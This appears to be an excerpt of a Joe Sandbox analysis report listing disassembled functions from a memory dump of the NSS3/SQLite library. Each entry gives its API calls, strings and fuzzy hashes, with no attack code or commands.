Part of subcall function 6C669430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C66946B
Part of subcall function 6C669430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C669546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C648110
PK11_FreeSymKey.NSS3(00000000), ref: 6C64811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C64822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C64823C

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: f40ab3609d6253686141c64d0e8dfe73f0c4b312f5d6e788205730ba2195deb2
Instruction ID: 5c31565d52831ba7de5fc0a5903d0ca318709975053722a773a28752e2befb87
Opcode Fuzzy Hash: f40ab3609d6253686141c64d0e8dfe73f0c4b312f5d6e788205730ba2195deb2
Instruction Fuzzy Hash: 9BC160B1D00259DBEB21CF14CC40FEAB7B9AB09348F00C5E6E909A6651E7319E85CFA5

Function 6C5BAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?), ref: 6C5BB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB0A2
CloseHandle.KERNEL32(?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?,?,?), ref: 6C5BB100
sqlite3_free.NSS3(?,?,00000002,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?), ref: 6C5BB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB12D

Part of subcall function 6C5A9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5BC6FD,?,?,?,?,6C60F965,00000000), ref: 6C5A9F0E
Part of subcall function 6C5A9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C60F965,00000000), ref: 6C5A9F5D

Strings

`sl, xrefs: 6C5BB0DF

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `sl
API String ID: 3155957115-3677604414
Opcode ID: 4284a22110c15ce41579919409af3ca0667298c2a1386d9e06ec43a91ed29eda
Instruction ID: 93c27bd5d30e10310e9ad575c7631922be95cddb2d990fc56c5c7b8dcb7b5865
Opcode Fuzzy Hash: 4284a22110c15ce41579919409af3ca0667298c2a1386d9e06ec43a91ed29eda
Instruction Fuzzy Hash: 3D91D0B0A042098FDB04DF65CC94ABBBBB1FF46308F244A3DE416A7A50EB71E845CB51

Function 6C650EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C650F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C650FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C651006
PK11_FreeSymKey.NSS3(?), ref: 6C65101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C651033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C65103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C651048
memcpy.VCRUNTIME140(?,?,?), ref: 6C65108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6510BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6510D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C65112E

Part of subcall function 6C651570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6508C4,?,?), ref: 6C6515B8
Part of subcall function 6C651570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6508C4,?,?), ref: 6C6515C1
Part of subcall function 6C651570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65162E
Part of subcall function 6C651570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C651637

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: b180aa2fc790b754b47b208795c3a9a46675931a54a67249e0d8125228e8e052
Instruction ID: 43b40cd92ac3492d6b6d5812730c2bf32bfb850fe4f5857ca6f43c0b4ab61ebb
Opcode Fuzzy Hash: b180aa2fc790b754b47b208795c3a9a46675931a54a67249e0d8125228e8e052
Instruction Fuzzy Hash: 4271D1B5E002059FDB10CFA5CC84AAAB7F4BF48318F64862DE90997711EB31D964CB99

Function 6C671CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C671F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C672166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C67228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6723B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67241C

Strings

token, xrefs: 6C671F2C
serial, xrefs: 6C6722A2
manufacturer, xrefs: 6C672179
model, xrefs: 6C6723CB, 6C6723EC

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c619f8377e228085ceee9c3e203d1d8e3a8f56deaae366561a2a7989f9094a62
Instruction ID: ef220cb277ef8729d0c33e0b6c0ef820487334366f6391e16902567cfba7969b
Opcode Fuzzy Hash: c619f8377e228085ceee9c3e203d1d8e3a8f56deaae366561a2a7989f9094a62
Instruction Fuzzy Hash: E2022FA2D0CBC8AEF7318671C44C7D76BE09B45328F0C1A6EC6DE46683D7AC59889365

Function 6C5B0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5B103E
EnterCriticalSection.KERNEL32(?), ref: 6C5B1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5B1190
sqlite3_free.NSS3(00000000), ref: 6C5B1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5B126E
sqlite3_free.NSS3(?), ref: 6C5B127F

Strings

winAccess, xrefs: 6C5B129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5B1267
Psl, xrefs: 6C5B109E

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Psl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1037850672
Opcode ID: 394508d2426dbf25de9d738553ccdc9736f5e230e0edba4765d47bd380070e59
Instruction ID: db38570d0a0007e617927067324b6726e72aa80c9ca57b127adf791b42a68d29
Opcode Fuzzy Hash: 394508d2426dbf25de9d738553ccdc9736f5e230e0edba4765d47bd380070e59
Instruction Fuzzy Hash: 457139317056199FEB44CF25DCA9AAF7B75FB87314F240639E915A7A80EB30D801C7A2

Function 6C676C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C3F

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C60
PR_ExplodeTime.NSS3(00000000,6C621C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C94

Strings

gfff, xrefs: 6C676D30
gfff, xrefs: 6C676CFD
gfff, xrefs: 6C676D66
gfff, xrefs: 6C676D9C
gfff, xrefs: 6C676CF5

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: cd5c89e07cc709300ace23693ce4f02e2b4cb479fc9a688699c2b9fe34caac90
Instruction ID: 70f3b5336c23a227bd0e35b687fa7c829ca067944fb99ec95d0d917649dd3475
Opcode Fuzzy Hash: cd5c89e07cc709300ace23693ce4f02e2b4cb479fc9a688699c2b9fe34caac90
Instruction Fuzzy Hash: A2513B72B016494FC718CDADDC527DEBBDAABA4310F48C23AE442DB781EA78D906C751

Function 6C6F0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C6F1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F1353

Strings

'%.*q', xrefs: 6C6F1217, 6C6F1292
NULL, xrefs: 6C6F119E
%lld, xrefs: 6C6F114B
zeroblob(%d), xrefs: 6C6F1223
%02x, xrefs: 6C6F12F6
-- , xrefs: 6C6F0FF5
$, xrefs: 6C6F12A0

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: d739e3eadf3de14036a3bf4899ab9fb651e91a1a16b00567788319a769e8ef3d
Instruction ID: 3072c9bdb272fb8dff1de109b31244a75127840e64b7ec5ce425b1c5771d0cd8
Opcode Fuzzy Hash: d739e3eadf3de14036a3bf4899ab9fb651e91a1a16b00567788319a769e8ef3d
Instruction Fuzzy Hash: 95E1B3B160C3409FD704CF58C480AABBBF2BF86398F14491DE9A587B51D771E946CB4A

Function 6C6F8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F9209

Strings

3333, xrefs: 6C6F925E
UUUU, xrefs: 6C6F9255

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: ee5fa083967c0c0cf300499d73027442966cddded69102c571544468133bb16d
Instruction ID: 96aacde7b9c11d151ddce062a0fac06f1205976de8636bbc5f86edacd135b343
Opcode Fuzzy Hash: ee5fa083967c0c0cf300499d73027442966cddded69102c571544468133bb16d
Instruction Fuzzy Hash: CCA1BE72E001159BDB04CF68CC94BDEB7B6AF49328F194179E915A7341E736AC42CBA4

Function 6C68BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C68BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C68BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C68BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C68BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C68BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C68BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C68BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C68BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C68BE1E

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 76953c99a35981b45f404d9f00968aef154bff3c852a9b2a0b1f0627858c7e95
Instruction ID: d7d5354c02536375824ee003bd6d03c7def66738c6c6e48428e913b750e274e1
Opcode Fuzzy Hash: 76953c99a35981b45f404d9f00968aef154bff3c852a9b2a0b1f0627858c7e95
Instruction Fuzzy Hash: 2321D576E062996BFF0046569C47F8F32B49BD278DF080464FA26EE641F7109418C6FE

Function 6C738D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7814E4,6C6ECC70), ref: 6C738D47
PR_GetCurrentThread.NSS3 ref: 6C738D98

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C738E7B
htons.WSOCK32(?), ref: 6C738EDB
PR_GetCurrentThread.NSS3 ref: 6C738F99
PR_GetCurrentThread.NSS3 ref: 6C73910A

Strings

%u.%u.%u.%u, xrefs: 6C738E74

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 503bf4149f927fde907fedebb522e15b07e958b07641d4dcb4fc2941798504dd
Instruction ID: 8a43d7ea081077208b9390ecb29179b5ca07fbfe0c227e78b255f38008299ee9
Opcode Fuzzy Hash: 503bf4149f927fde907fedebb522e15b07e958b07641d4dcb4fc2941798504dd
Instruction Fuzzy Hash: 4602DD319052718FDB04CF19C5687A6BBB3EF52344F29826AC8996FB93C731D909C391

Function 6C5BEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C5BF0A6, 6C5BF2D5
table, xrefs: 6C5BF05C, 6C5BFABC, 6C5BFAC7
temporary table name must be unqualified, xrefs: 6C5BF734
authorizer malfunction, xrefs: 6C5BF95C, 6C5BF9BF, 6C5BFA5E, 6C5BFA8B
there is already an index named %s, xrefs: 6C5BF9D7
sqlite_master, xrefs: 6C5BF0AB, 6C5BF2DA, 6C5BF757, 6C5BF93E
%s %T already exists, xrefs: 6C5BFAC8
view, xrefs: 6C5BF061, 6C5BF071, 6C5BFAB7
not authorized, xrefs: 6C5BF957, 6C5BF9BA

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: eb69cba95da9d29ef2a71ff3d2616d8a3350a887688f23511b1adbac181dedf2
Instruction ID: 30e95ea999de615739edfc80580d949486660102e6e6bfc5ca8a8c78a55b8048
Opcode Fuzzy Hash: eb69cba95da9d29ef2a71ff3d2616d8a3350a887688f23511b1adbac181dedf2
Instruction Fuzzy Hash: A272A178E042058FDB14CF68C890BAABBF1BF89308F1482A9D815AB752D775E855CB90

Function 6C6D9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5AC52B), ref: 6C6D9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DA114

Strings

%s at line %d of [%.10s], xrefs: 6C6DA02E, 6C6DA10D
database corruption, xrefs: 6C6DA029, 6C6DA108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6DA01F, 6C6DA0E4, 6C6DA0FE

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: fd69fcab2eecaf1f6d124f39e208d1bfca464be685544af61d5eb47962d05cc2
Instruction ID: 9b3a496d1436937cf45dfd5c4abf7478639dbac9ba23f9470e03741135354919
Opcode Fuzzy Hash: fd69fcab2eecaf1f6d124f39e208d1bfca464be685544af61d5eb47962d05cc2
Instruction Fuzzy Hash: 5922C27160C7419FC704CF29C4A066AB7E1BFCA348F158A2DE5DA97B42DB31E845CB4A

Function 6C6F9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5B8637,?,?), ref: 6C6F9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5B8637), ref: 6C6F9ED6

Strings

%s at line %d of [%.10s], xrefs: 6C6F9ECF
database corruption, xrefs: 6C6F9ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F9EC0

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
